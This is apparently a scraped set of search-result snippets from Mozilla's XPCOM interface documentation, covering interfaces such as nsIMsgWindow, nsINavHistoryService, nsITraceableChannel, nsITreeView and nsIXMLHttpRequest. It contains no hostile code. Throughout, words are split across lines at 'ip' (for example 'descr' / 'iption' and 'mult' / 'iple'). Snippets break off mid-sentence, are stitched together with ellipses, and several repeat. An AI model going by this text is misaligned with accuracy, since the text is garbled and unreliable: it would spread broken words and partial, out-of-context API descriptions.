iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 8 (firefox 8 / thunderbird 8 / seamonkey 2.5) implemented by: @mozilla.org/messenger/msgwindow;1. to create an instance, use: msgwindow = components.classes["@mozilla.org/messenger/msgwindow;1"] .createinstance(components.interfaces.nsimsgwindow); in thunderbird the default message window is stored in the global variable msgwindow. ...
... .createinstance(components.interfaces.nsimsgwindow); in thunderbird the default message window is stored in the global variable msgwindow. method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type descr
iption windowcommands nsimsgwindowcommands this allows the backend code to send commands to the ui, such as clearmsgpane. statusfeedback nsimsgstatusfeedback this allows the backend code to send status feedback to the ui. msgheadersink nsimsgheadersink this allows the backend code to send message header information t...
... messagewindowdocshell nsidocshell readonly: this retrieves the nsidocshell object for the message pane. you should not store this in a global variable. notificationcallbacks nsiinterfacerequestor these are currently used to set notification callbacks on protocol channels to handle things like bad cert exceptions. promptdialog ns
iprompt readonly: this is the equivalent of calling getinterface on the rootdocshell object. mailcharacterset acstring this is used to track the character set of the currently displayed message. if set to an alias, the actual character set is returned. charsetoverride boolean remember the message's charset was overridden, so it can be inh...
nsINavBookmarkObserver
toolkit/components/places/nsinavbookmarksservice.idlscr
iptable this interface is an observer for bookmark changes. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) method overview void onbeforeitemremoved(in long long aitemid, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); obsolete since gecko 21.0 void onbeginupdatebatch(); void onendupdatebatch(); void onfolderadded(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onfolderchanged(in print64 folder, in acstring property); obsolete since gecko 1.9 void onfoldermoved(in print64 f...
...ue id associated with the item's parent. onbeginupdatebatch() this method notifies this observer that a batch transaction has started. other notifications will be sent during the batch change, but the observer is guaranteed that onendupdatebatch() will be called at the completion of changes. during a batch the observer should do its best to reduce the work done to handle notifications, since mult
iple changes are going to happen in a short timeframe. void onbeginupdatebatch(); parameters none. onendupdatebatch() this method notifies this observer that a batch transaction has ended. void onendupdatebatch(); parameters none. onfolderadded() obsolete since gecko 1.9 (firefox 3) notify this observer that a bookmark folder has been added. void onfolderadded( in print...
...s queryinterface() method to match on both nsinavbookmarkobserver and nsinavbookmarkobserver_mozilla_1_9_1_additions, as shown below. queryinterface: function(iid) { if (iid.equals(ci.nsinavbookmarkobserver) || iid.equals(ci.nsinavbookmarkobserver_mozilla_1_9_1_additions) || iid.equals(ci.nsisupports)) { return this; } throw cr.ns_error_no_interface; } see also places man
ipulating bookmarks using places nsinavbookmarksservice ...
nsINavHistoryContainerResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscr
iptable a foundation for the interfaces that provide a descr
iption of a query result on the places service that describes a container (which is any kind of grouping, including bookmark folders). ...
...read only. childrenreadonly boolean false if the node's list of children can be modified (by adding or removing children, or rearranging them), or true if the user interface should not allow the list of children to be altered. read-only. this is false fo...
...e container may be a result_type_remote_container node that has been dynamically generated by the remote container api, or a bookmark folder (result_type_folder) for which some service (such as livemarks) has registered to provide certain operations. state unsigned short the current state of the container. this is one of the state constants. constants state constants constant value descr
iption state_closed 0 the container is closed. state_loading 1 the container has been opened asynchronously, but is still loading and is not all the way opened yet. state_opened 2 the container is open. methods findnodebydetails() returns a node matching specified details. nsinavhistoryresultnode findnodebydetails( in autf8string auristring, in prtime atime, in long long aitemid...
nsINavHistoryResultNode
for hosts, this is the total number of the children under it, rather than the total number of times the host has been accessed (getting that information would require an additional query, so for performance reasons that information isn't given by default). ...
...for hosts, this is the total number of the children under it, rather than the total number of times the host has been accessed (getting that information would require an additional query, so for performance reasons that information isn't given by default). ...
...ts nodes with this property set to -1 as invisible! view-implementations may use this value to track the node index in the view, for example the tree view uses this value to indicate the row in the tree that this node is at. other views may choose not to use this, but should inititalize this value to anything but -1 for visible nodes. obsolete since gecko 1.9.2 constants constant value descr
iption result_type_uri 0 nsinavhistoryresultnode. result_type_visit 1 nsinavhistoryvisitresultnode. result_type_full_visit 2 nsinavhistoryfullvisitresultnode. result_type_dynamic_container 4 nsinavhistorycontainerresultnode. result_type_query 5 nsinavhistoryqueryresultnode. result_type_folder 6 nsinavhistoryqueryresultnode. result_type_separator 7 nsinavhistoryresultnode. result_type...
nsINavHistoryResultTreeViewer
1.0 66 introduced gecko 1.8 inherits from: nsinavhistoryresultobserver last changed in gecko 1.9 (firefox 3) this object removes itself from the associated result when the tree is detached; this prevents circular references. it's important to be aware of this--if you want to reuse the same viewer, you need to keep your own reference to it, then reinitialize it when the tree changes. if you use this object and attach it to a result without attaching it to a tree, then forget about it, it will leak. ...
...wer, you need to keep your own reference to it, then reinitialize it when the tree changes. if you use this object and attach it to a result without attaching it to a tree, then forget about it, it will leak. method overview nsinavhistoryresultnode nodefortreeindex(in unsigned long aindex); unsigned long treeindexfornode(in nsinavhistoryresultnode anode); attributes attribute type descr
iption collapseduplicates boolean controls whether duplicate adjacent elements are collapsed into a single item in the tree. this prevents you from seeing mult
iple entries for things when you have selected to get visits. when you sort by date, the mult
iple entries will then appear because they will be separated (unless you clicked reload a bunch of times in a row). if you know you'll only ever wa...
...e gecko 1.9 flatitemcount pruint32 this tells you how many items are in the flattened list of results, that is how many rows are in this tree right now. the tree adaptor will also qi to nsitreeview, and this will be the same as nsitreeview.rowcount. this is only valid when a tree is attached, the result will be 0 otherwise. read only. obsolete since gecko 1.9 constants constant value descr
iption index_invisible 0xffffffff returned by treeindexfornode() when the requested node isn't visible (such as when its parent is collapsed). also returned if there is no tree attached. methods nodefortreeindex() returns the node for a given row index. this is only valid when a tree is attached. nsinavhistoryresultnode nodefortreeindex( in unsigned long aindex ); parameters aindex the row ...
nsINavHistoryService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implemented by: "@mozilla.org/browser/nav-history-service;1". ...
...this can be used in ui to determine whether the "clear history" button should be enabled or not. this is much better than using browserhistory.count since that can be very slow if there is a lot of history (it must enumerate each item). this is pretty fast. historydisabled boolean true if history is disabled...
...led or not. this is much better than using browserhistory.count since that can be very slow if there is a lot of history (it must enumerate each item). this is pretty fast. historydisabled boolean true if history is disabled. currently, history is disabled if the browser.history_expire_days pref is "0". constants transition type constants constant value descr
iption transition_link 1 this transition type means the user followed a link and got a new toplevel window. transition_typed 2 this transition type is set when the user typed the url to get to the page. transition_bookmark 3 this transition type is set when the user followed a bookmark to get to the page. transition_embed 4 this transition ...
nsIScrollable
this is a generic interface without concern for the type of content that may be inside. ...
...ollbarpref); void setscrollrange(in long scrollorientation, in long minpos, in long maxpos); obsolete since gecko 29.0 void setscrollrangeex(in long minhorizontalpos, in long maxhorizontalpos, in long minverticalpos, in long maxverticalpos); obsolete since gecko 29.0 constants scroll orientations scroll orientations a scrollbar can be in. constant value descr
iption scrollorientation_x 1 horizontal scrolling. when passing this in to a method you are requesting or setting data for the horizontal scrollbar. scrollorientation_y 2 vertical scrolling. when passing this in to a method you are requesting or setting data for the vertical scrollbar. scrollbar states visibility states of a scrollbar. constant value ...
... scrollorientation_x 1 horizontal scrolling. when passing this in to a method you are requesting or setting data for the horizontal scrollbar. scrollorientation_y 2 vertical scrolling. when passing this in to a method you are requesting or setting data for the vertical scrollbar. scrollbar states visibility states of a scrollbar. constant value descr
iption scrollbar_auto 1 scrollbars visible only when needed. scrollbar_never 2 scrollbars never visible, even when scrolling is still possible. scrollbar_always 3 scrollbars always visible, even when scrolling is not possible. methods getcurscrollpos() obsolete since gecko 29.0 (firefox 29.0 / thunderbird 29.0 / seamonkey 2.26) ...
nsIServerSocket
last changed in gecko 1.6 inherits from: nsisupports implemented by: @mozilla.org/network/server-socket;1. ...
...read only. methods asynclisten() this method puts the server socket in the listening state. it will asynchronously listen for and accept client connections. the listener will be notified once for each client connection that is accepted. the listener's onsocketaccepted() method will be called on the same thread that call...
...cket. this does not affect already connected client sockets (i.e., the nsisockettransport instances created from this server socket). this will cause the onstoplistening event to asynchronously fire with a status of ns_binding_aborted. void close(); parameters none. native code only!getaddress returns the address to which this server socket is bound. since a server socket may be bound to mult
iple network devices, this address may not necessarily be specific to a single network device. in the case of an
ip socket, the
ip address field would be zeroed out to indicate a server socket bound to all network devices. therefore, this method cannot be used to determine the
ip address of the local system. see nsidnsservice.myhostname() if this is what you need. prnetaddr getaddress(); paramete...
nsISmsService
dom/sms/interfaces/nsismsservice.idlscr
iptable used to send sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsservice;1. to create an instance, use: var smsservice = components.classes["@mozilla.org/sms/smsservice;1"] .createinstance(components.interfaces.nsismsservice); method overview [implicit_jscontext] nsidommozsmsmessage createsmsmessage(in long id, in domstring delivery, in domstring sender, in domstring receiver, in domstring body, in jsval timestamp, in bool read ); unsigned short getnumberofmessagesfortext(in domstring text); boolean hassup...
...or one sms). hassupport() checks if the current platform has sms support. ...
... current platform has sms support. boolean hassupport(); return value boolean. ...
nsISocketProvider
it is implemented by several types of socket classes like: udp, socks, tls, ssl, and so on. inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/network/socket;2?type=foo. ...
...when set, the hostname parameter passed in this interface will be used instead of the address structure passed for a later request. anonymous_connect 1 << 1 when setting this flag, the socket will not apply any credentials when establishing a connect...
...structure passed for a later request. anonymous_connect 1 << 1 when setting this flag, the socket will not apply any credentials when establishing a connection. for example, an ssl connection would not send any client-certificates if this flag is set. methods native code only!addtosocket this function is called to allow the socket provider to layer a prfiledesc (a file descr
iptor) on top of another prfiledesc. for example, ssl via a socks proxy. parameters are the same as newsocket() with the exception of afiledesc, which is an input parameter instead. void addtosocket( in long afamily, in string ahost, in long aport, in string aproxyhost, in long aproxyport, in unsigned long aflags, in prfiledescstar afiledesc, out nsisupports asecurityinfo ); paramet...
nsIStandardURL
netwerk/base/public/nsistandardurl.idlscr
iptable this interface defines the interface to an url with the standard file path format common to protocols like http, ftp, and file. it supports initialization from a relative path and provides some customization on how urls are normalized. inherits from: nsimutable last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/standard-url;1. ...
... @mozilla.org/network/standard-url;1. ...
... autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type descr
iption mutable boolean control whether or not this url can be modified. protocol handlers can set this flag before handing out an url to ensure that it is not inadvertently modified. obsolete since gecko 1.9 constants these constants describe how to normalize an url. ...
nsIStringBundleService
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/intl/stringbundle;1. ...
...undles() flushes the string bundle cache - useful when the locale changes or when we need to get some extra memory back. (automatically called for the memory-pressure and chrome-flush-caches global observer topics.) void flushbundles(); parameters none. formatstatusmessage() formats a message string from a status code and status arguments. typically used to format a message received by a ns
iprogresseventsink's onstatus method. wstring formatstatusmessage( in nsresult astatus, in wstring astatusarg ); parameters astatus the status code. this is mapped into a string id and and used in the string lookup process (see nsierrorservice). astatusarg the status message argument(s). mult
iple arguments can be separated by newline ('\n') characters. return value the formatted mess...
...us method. wstring formatstatusmessage( in nsresult astatus, in wstring astatusarg ); parameters astatus the status code. this is mapped into a string id and and used in the string lookup process (see nsierrorservice). astatusarg the status message argument(s). mult
iple arguments can be separated by newline ('\n') characters. return value the formatted message. see also code sn
ippets : miscellaneous : using string bundles from javascr
ipt how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons. the localizing js/jsm files uses the nsistringbundleservice: bootstrapped extensions :: localization (l10n) nsistringbundle ...
nsISupportsArray
xpcom/ds/nsisupportsarray.idlscr
iptable please add a summary to this article. inherits from: nsicollection last changed in gecko 1.7 method overview boolean appendelements(in nsisupportsarray aelements); violates the xpcom interface guidelines nsisupportsarray clone(); void compact(); void deleteelementat(in unsigned long aindex); void deletelastelement(in nsisupports aelement); nsisupports elementat(in unsigned long aindex); violates the xpcom interface guidelines boolean enumeratebackwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean enumerateforwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean equals([const] in nsisupportsarray other); viola...
...compact(); parameters none. ...
...sisupports aelement ); parameters aelement violates the xpcom interface guidelines elementat() nsisupports elementat( in unsigned long aindex ); parameters aindex return value enumeratebackwards() [notxpcom, noscr
ipt] boolean enumeratebackwards( in nsisupportsarrayenumfunc afunc, in voidptr adata ); parameters afunc adata return value enumerateforwards() [notxpcom, noscr
ipt] boolean enumerateforwards( in nsisupportsarrayenumfunc afunc, in voidptr adata ); parameters afunc adata return value violates the xpcom interface guidelines equals() boolean equals( [const] in nsisupportsarray other ); parameters other return value getindexof() long getindexof( in nsisupports apossibleelement ); parameters apossibleelement return value getindexofs...
nsISupportsPriority
following unix conventions, smaller (and possibly negative) values have higher priority. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface does not strictly define what happens when the priority of an object is changed. an implementation of this interface is free to define the side-effects of changing the priority of an object. in some cases, changing the priority of an object may be disallowed (resulting in an exception being thrown) or may simply be ignored. ...
...define what happens when the priority of an object is changed. an implementation of this interface is free to define the side-effects of changing the priority of an object. in some cases, changing the priority of an object may be disallowed (resulting in an exception being thrown) or may simply be ignored. method overview void adjustpriority(in long delta); attributes attribute type descr
iption priority long the object's priority. it can be modified to change the priority of the object. typical priority values are defined in the idl file as priority_highest ... priority_lowest. the implementation is free to truncate a given priority value to whatever limits are appropriate. typically this attribute is initialized to priority_normal, but implementations may choose to assign a diffe...
...dified to change the priority of the object. typical priority values are defined in the idl file as priority_highest ... priority_lowest. the implementation is free to truncate a given priority value to whatever limits are appropriate. typically this attribute is initialized to priority_normal, but implementations may choose to assign a different initial value. constants constant value descr
iption priority_highest -20 the highest priority. priority_high -10 higher than normal priority. priority_normal 0 the default priority. priority_low 10 lower than normal priority. priority_lowest 20 the lowest priority. methods adjustpriority() this method adjusts the priority attribute by a given amount (delta). void adjustpriority( in long delta ); parameters delta the amount by ...
nsISupportsVoid
native code only! methods tostring() string tostring(); parameters none. ...
...native code only! methods tostring() string tostring(); parameters none. ...
...native code only! methods tostring() string tostring(); parameters none. ...
nsITaskbarPreviewButton
this is not the same as visible, which indicates whether or not the button should be displayed at all. ...
...operties. these buttons are displayed below the window preview. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface. instead, you use the nsitaskbarwindowpreview.getbutton() to get the objects representing the buttons. attributes attribute type descr
iption disabled boolean if true, the button is disabled. this is not the same as visible, which indicates whether or not the button should be displayed at all. dismissonclick boolean if true, the array of previews should be dismissed when the button is clicked. this is false by default. hasborder boolean if true, the taskbar should draw a border around this button's image. this is true by defa...
...ch indicates whether or not the button should be displayed at all. dismissonclick boolean if true, the array of previews should be dismissed when the button is clicked. this is false by default. hasborder boolean if true, the taskbar should draw a border around this button's image. this is true by default. image imgicontainer the icon displayed in the button. this is null by default. toolt
ip domstring the string displayed in the button's toolt
ip. by default, this is an empty string. visible boolean if true, the button is displayed. if false, the button doesn't partic
ipate in the layout of buttons underneath the preview. this is false by default. see also nsitaskbarpreview nsitaskbarpreviewcontroller nsitaskbartabpreview nsitaskbarwindowpreview nsiwintaskbar ...
nsITaskbarWindowPreview
1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface; instead, call nsiwintaskbar.gettaskbarwindowpreview() to get the taskbar preview for a specific window. window preview behavior by default, windows implements much of the behavior for applications in a standard way. ...
...arpreviewbutton object. you may customize these buttons using the attributes on that interface. user clicks on the toolbar buttons are reported to your nsitaskbarpreviewcontroller implementation's nsitaskbarpreviewcontroller.onclick() method. ...
... methods getbutton() returns the specified button from the preview's toolbar. note: by default, all buttons are hidden. you must fetch and configure each button that you want to make visible. ...
nsITraceableChannel
netwerk/base/public/nsitraceablechannel.idlscr
iptable this interface is used to allow intercepting of http traffic. it is implemented by nsihttpchannel. 1.0 66 introduced gecko 1.9.0.4 inherits from: nsisupports last changed in gecko 1.9.0.4 the typical way to use this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; sk
ip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g. to xmlhttprequest or to the browser tab that made the request) with your own implementat...
...uester - e.g. to xmlhttprequest or to the browser tab that made the request) with your own implementation (see "implementing nsistreamlistener" below). after that your nsistreamlistener implementation will get the response data and will be able to pass the data on to the original nsistreamlistener (possibly modifying it). see nsitraceablechannel, intercept http traffic for a more detailed descr
iption with code samples. see modify url before loading page in firefox for an overview of how to modify a request before it is made. method overview nsistreamlistener setnewlistener(in nsistreamlistener alistener); methods setnewlistener() replaces the channel's current listener with a new one, returning the listener previously assigned to the channel. nsistreamlistener setne...
...channel. onstoprequest: the http request is ending. note: it is critical that you pass along requests to the previous listener as soon as possible -- especially for onstartrequest. channels may restrict when you may replace the listener. in particular, listeners typically should not be replaced after onstartrequest has been called. example this example can be copied and pasted into a javascr
ipt interpreter and run. this example uses promise syntax that is available in firefox 30 and onwards. /////// start - do not edit var {classes: cc, interfaces: ci, results: cr, constructor: cc, utils: cu} = components; cu.import('resource://gre/modules/services.jsm'); var binaryinputstream = cc('@mozilla.org/binaryinputstream;1', 'nsibinaryinputstream', 'setinputstream'); var binaryoutputstream =...
nsITransaction
this attribute is checked by the transaction manager after the transaction's execute() method is called. if the transient state is false, a reference to the transaction is held by the transaction manager so that the transactions' undotransaction() and redotransaction() methods can be called. ...
...this attribute is checked by the transaction manager after the transaction's execute() method is called. if the transient state is false, a reference to the transaction is held by the transaction manager so that the transactions' undotransaction() and redotransaction() methods can be called. ...
... merge result. a true value indicates that the transactions were merged successfully, a false value if the merge was not possible or failed. if true, the transaction manager will release() the new transaction instead of pushing it on the undo stack. boolean merge( in nsitransaction atransaction ); parameters atransaction the previously executed transaction to merge. return value missing descr
iption redotransaction() executes the transaction again. can only be called on a transaction that was previously undone. in most cases, the redotransaction method will actually call the dotransaction() method to execute the transaction again. void redotransaction(); parameters none. undotransaction() restores the state to what it was before the transaction was executed. void undotransaction(); par...
nsITransactionList
read only. methods getchildlistforitem() returns the list of children associated with the item at aindex. implementations may return null if there are no children, or an empty list. ...
...read only. methods getchildlistforitem() returns the list of children associated with the item at aindex. implementations may return null if there are no children, or an empty list. ...
...en associated with the item at aindex. getitem() returns the transaction at the given index in the list. note that a null can be returned here if the item is a batch. the transaction returned is addref'd so it is up to the caller to release the transaction when it is done. nsitransaction getitem( in long aindex ); parameters aindex the index of the item in the list. return value missing descr
iption getnumchildrenforitem() returns the number of child (auto-aggreated) transactions the item at aindex has. long getnumchildrenforitem( in long aindex ); parameters aindex the index of the item in the list. return value the number of child (auto-aggreated) transactions the item at aindex has. itemisbatch() returns true if the item at aindex is a batch. note that currently there is no requi...
nsITransport
this interface does not in any way specify the resource. inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface provides methods to open blocking or non-blocking, buffered or unbuffered streams to the resource. the name "transport" is meant to connote the inherent data transfer implied by this interface (that is, data is being transfered in some fashion via the streams exposed by this interface). a transport can have an event sink associated with it. the event sink receives transport-specific events as the transfer is occurring. ...
...n nsresult areason); nsiinputstream openinputstream(in unsigned long aflags, in unsigned long asegmentsize, in unsigned long asegmentcount); nsioutputstream openoutputstream(in unsigned long aflags, in unsigned long asegmentsize, in unsigned long asegmentcount); void seteventsink(in nsitransporteventsink asink, in nsieventtarget aeventtarget); constants open flags. ...
...void close( in nsresult areason ); parameters areason the reason for closing the stream. openinputstream() open an input stream on this transport. ...
nsITransportSecurityInfo
read only. ...
...read only. ...
... and any error message for the connection. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type descr
iption errormessage wstring error message on connection failure. read only. securitystate unsigned long a flag detailing the security state of the connection. the possible values are defined in nsiwebprogresslistener. read only. shortsecuritydescr
iption wstring for secure connections (ssl) gives the common name (cn) of the certifying authority. read only. see also nsisockettransport ...
nsITreeColumn
read only. native code only! columns nsitreecolumns the nsitreecolumns containing this column. read only. ...
...read only. native code only! columns nsitreecolumns the nsitreecolumns containing this column. read only. cycler boolean if true, then the column is a cycler column. ...
...y. selectable boolean if true the nsitreecolumn is able to be selected. if the selectable attribute is not set, the column cells are not selectable. read only. type short the type of the column, see constants. read only. width long the width of nsitreecolumn. read only. x long the x position in the tree of the left edge of the nsitreecolumn. read only. constants constant value descr
iption type_text 1 text column type. type_checkbox 2 checkbox column type. type_progressmeter 3 progress meter column type. methods native code only!getidconst void getidconst( [shared] out wstring idconst ); parameters idconst getnext() get the next column in the nsitreecolumns. nsitreecolumn getnext(); parameters none. return value the next nsitreecolumn in the nsitreecolumns. getp...
nsITreeColumns
the nsitreecolumns interface represents the tree columns. layout/xul/base/src/tree/public/nsitreecolumns.idlscr
iptable please add a summary to this article. ...
...read only. tree nsitreeboxobject the tree widget for these columns. read only. methods getcolumnat() get the column for a given index. nsitreecolumn getcolumnat( in long index ); parameters index index of the column return value a nsitreecolumn ...
...read only. tree nsitreeboxobject the tree widget for these columns. ...
nsITreeSelection
layout/xul/base/src/tree/public/nsitreeselection.idlscr
iptable this interface is used by the tree widget to get information about what is selected. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void adjustselection(in long index, in long count); void clearrange(in long startindex, in long endindex); void clearselection(); void getrangeat(in long i, out long min, out long max); long getrangecount(); void invalidateselection(); void invertselection(); boolean isselected(in long index); void rangedselect(in long startindex, in long endindex, in boolean augment); void select(in long index); void selectall(); void timedselect(in long index, ...
...read only. currentcolumn nsitreecolumn the current column. currentindex long the current item (the one with focus). note: this property indicates only the index of the row with tree cursor around it. this is not a reliable method of determining the selected row, as the selecti...
... long the number of rows currently selected in this tree. read only. currentcolumn nsitreecolumn the current column. currentindex long the current item (the one with focus). note: this property indicates only the index of the row with tree cursor around it. this is not a reliable method of determining the selected row, as the selection may include mult
iple rows, or the focused row may not even be selected. selecteventssuppressed boolean this attribute is a boolean indicating whether or not the "select" event should fire when the selection is changed using one of our methods. a view can use this to temporarily suppress the selection while man
ipulating all of the indices, for example, on a sort. note: setting this attribute ...
nsITreeView
inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implementing a nsitreeview in lieu of dom methods for tree creation can improve performance dramatically, and removes the need to make changes to the tree manually when changes to the database occur. further information about creating treeviews is given in the xul tutorial. ...
...id performactiononrow(in wstring action, in long row); void selectionchanged(); void setcelltext(in long row, in nsitreecolumn col, in astring value); void setcellvalue(in long row, in nsitreecolumn col, in astring value); void settree(in nsitreeboxobject tree); void toggleopenstate(in long index); attributes attribute type descr
iption rowcount long the total number of rows in the tree (including the offscreen rows). read only. selection nsitreeselection the selection for this view. constants constant value descr
iption progress_normal 1 note: renamed from progressnormal in gecko 1.8 progress_undetermined 2 note: renamed from pro...
...en cell. for defining an icon for a cell. if the empty string is returned, the ::moz-tree-image pseudoelement will be used. astring getimagesrc( in long row, in nsitreecolumn col ); parameters row the index of the row. col the index of the column. return value the image path of the cell. getlevel() the level is an integer value that represents the level of indentation. it is mult
iplied by the width specified in the ::moz-tree-indentation pseudoelement to compute the exact indentation. long getlevel( in long index ); parameters index the index of the item. return value the level of indentation. getparentindex() methods used by the tree to draw thread lines in the tree. getparentindex is used to obtain the index of a parent row. if there is no parent row, getpar...
nsIURL
netwerk/base/public/nsiurl.idlscr
iptable this interface provides convenience methods that further break down the path portion of nsiuri. inherits from: nsiuri last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) http://host/directory/filebasename.fileextension?query http://host/directory/filebasename.fileextension#ref http://host/directory/filebasename.fileextension;param \ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = compo...
...if the url denotes a path to a directory and not a file, for example http://host/foo/bar/, then the directory attribute accesses the complete /foo/bar/ portion, and the filename is the empty string. if the trailing slash is omitted, then the directory is /foo/ and the file is bar (that is this is a syntactic, not a semantic brea...
...f it can be made relative to the uri passed in. ...
nsIUpdate
this object also contains information about the update that the front end and other application services can use to learn more about what is going on. ...
...t end and other application services can use to learn more about what is going on. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiupdatepatch getpatchat(in unsigned long index); nsidomelement serialize(in nsidomdocument updates); attributes attribute type descr
iption appversion astring the application version of this update. billboardurl astring the url to a page that is typically localized to display in the update prompt. buildid astring the build id of this update. this is used to identify a particular build, down to the hour, minute, and second of its creation. this lets the system differentiate between several nightly builds with the same vers...
...k (0) no error. mem_error (1) a memory error occurred. usage_error (3) a usage error occurred; this needs to be described in more detail. crc_error (4) a checksum error occurred. parse_error (5) an error occurred while parsing the patch. read_error (6) an error occurred while reading the patch. write_error (7) an error occurred while writing the patched application. unexpected_error (8) an unantic
ipate type of error occurred. extensionversion astring the add-on version of this update. used by the extension system to track compatibility of installed add-ons with this update. obsolete since gecko 2.0 installdate long long the date and time at which the update was installed. iscompleteupdate boolean true if the update is a complete replacement of the existing installation; false if the ...
nsIUpdateItem
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is obsolete; instead of using the extension manager, you should use the addon manager. ...
...uld use the addon manager. method overview void init(in astring id, in astring version, in astring installlocationkey, in astring minappversion, in astring maxappversion, in astring name, in astring downloadurl, in astring xpihash, in astring iconurl, in astring updateurl, in astring updatekey, in long type, in astring targetappid); attributes attribute type descr
iption iconurl astring the url of the icon that can be shown for this item. read only. id astring the guid of the item. read only. installlocationkey astring the name of the install location where this item is installed. read only. maxappversion astring the maximum version of the application that this item works with, in fvf format. read on...
...agerwithhashes(). read only. xpiurl astring the url of the xpi where this item can be downloaded. read only. constants item type constants constants representing types of update checks. constants that callers can use to indicate the reason for an add-on update check. internal code uses other constants in nsextensionmanager.js.in. ...
nsIWebSocketChannel
1.0 66 introduced gecko 8.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: ?????????????????????????????????????. ...
...read only. loadgroup nsiloadgroup the load group of the websockets code. notificationcallbacks nsiinterfacerequestor the notification callbacks for authorization and so forth. originaluri nsiuri the original uri used to construct the protocol connection. this is used...
...ead only. protocol acstring sec-websocket-protocol value. securityinfo nsisupports transport-level security information (if any). read only. uri nsiuri the uri corresponding to the protocol connection after any redirections are completed. read only. status codes the following values are permitted status codes. status code name descr
iption 0-999 reserved and not used. 1000 close_normal normal closure; the connection successfully completed whatever purpose for which it was created. 1001 close_going_away the endpoint is going away, either because of a server failure or because the browser is navigating away from the page that opened the connection. 1002 close_protocol_err...
nsIWritablePropertyBag2
xpcom/ds/nsiwritablepropertybag2.idlscr
iptable this interface extends ns
ipropertybag2 with methods for setting properties. ...
... xpcom/ds/nsiwritablepropertybag2.idlscr
iptable this interface extends ns
ipropertybag2 with methods for setting properties. ...
...to. ...
nsIXMLHttpRequest
uest along with nsijsxmlhttprequest and nsixmlhttprequesteventtarget are mozilla's implementation details of the dom xmlhttprequest object. note: if you're a web developer or a mozilla add-on developer, please refer to the xmlhttprequest documentation instead. this page contains documentation, specific to mozilla application and add-on developers. the interface definition: //github.com/realityr
ipple/uxp/blob/master/dom/xhr/nsixmlhttprequest.idl elevated privileges as mentioned in the "non-standard properties" the property of channel was read-only. when using the xpcom interface, as seen below in example 2, we can get access to this. the most obvious benefit is that we can set nsirequest - constants in the xhr.channel.loadflags. for instance, as done in example 2, the flag of load_anonym...
...m/xhr/nsixmlhttprequest.idl elevated privileges as mentioned in the "non-standard properties" the property of channel was read-only. when using the xpcom interface, as seen below in example 2, we can get access to this. the most obvious benefit is that we can set nsirequest - constants in the xhr.channel.loadflags. for instance, as done in example 2, the flag of load_anonymous is added, this str
ips all user data (cookies, tokens, etc). using event handlers from native code (not sure if it's up-to-date) from native code, the way to set up onload and onerror handlers is a bit different. here is a comment from johnny stenback <jst@netscape.com>: the mozilla implementation of nsixmlhttprequest implements the interface nsidomeventtarget and that's how you're supported to add event listeners...
... evf(m => xhr.addeventlistener(m, handler, false)); xhr.mozbackgroundrequest = true; xhr.open('get', url, true); xhr.channel.loadflags |= ci.nsirequest.load_anonymous | ci.nsirequest.load_bypass_cache | ci.nsirequest.inhibit_persistent_caching; xhr.responsetype = "arraybuffer"; //dont set it, so it returns string, you dont want arraybuffer. ...
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscr
iptable this interface provides access to the event listeners used when uploading data using the xmlhttprequest object. 1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) attributes attribute type descr
iption onabort nsidomeventlistener a javascr
ipt function object that gets invoked if the operation is canceled by the user. onerror nsidomeventlistener a javascr
ipt function object that gets invoked if the operation fails to complete due to an error. ...
...st changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) attributes attribute type descr
iption onabort nsidomeventlistener a javascr
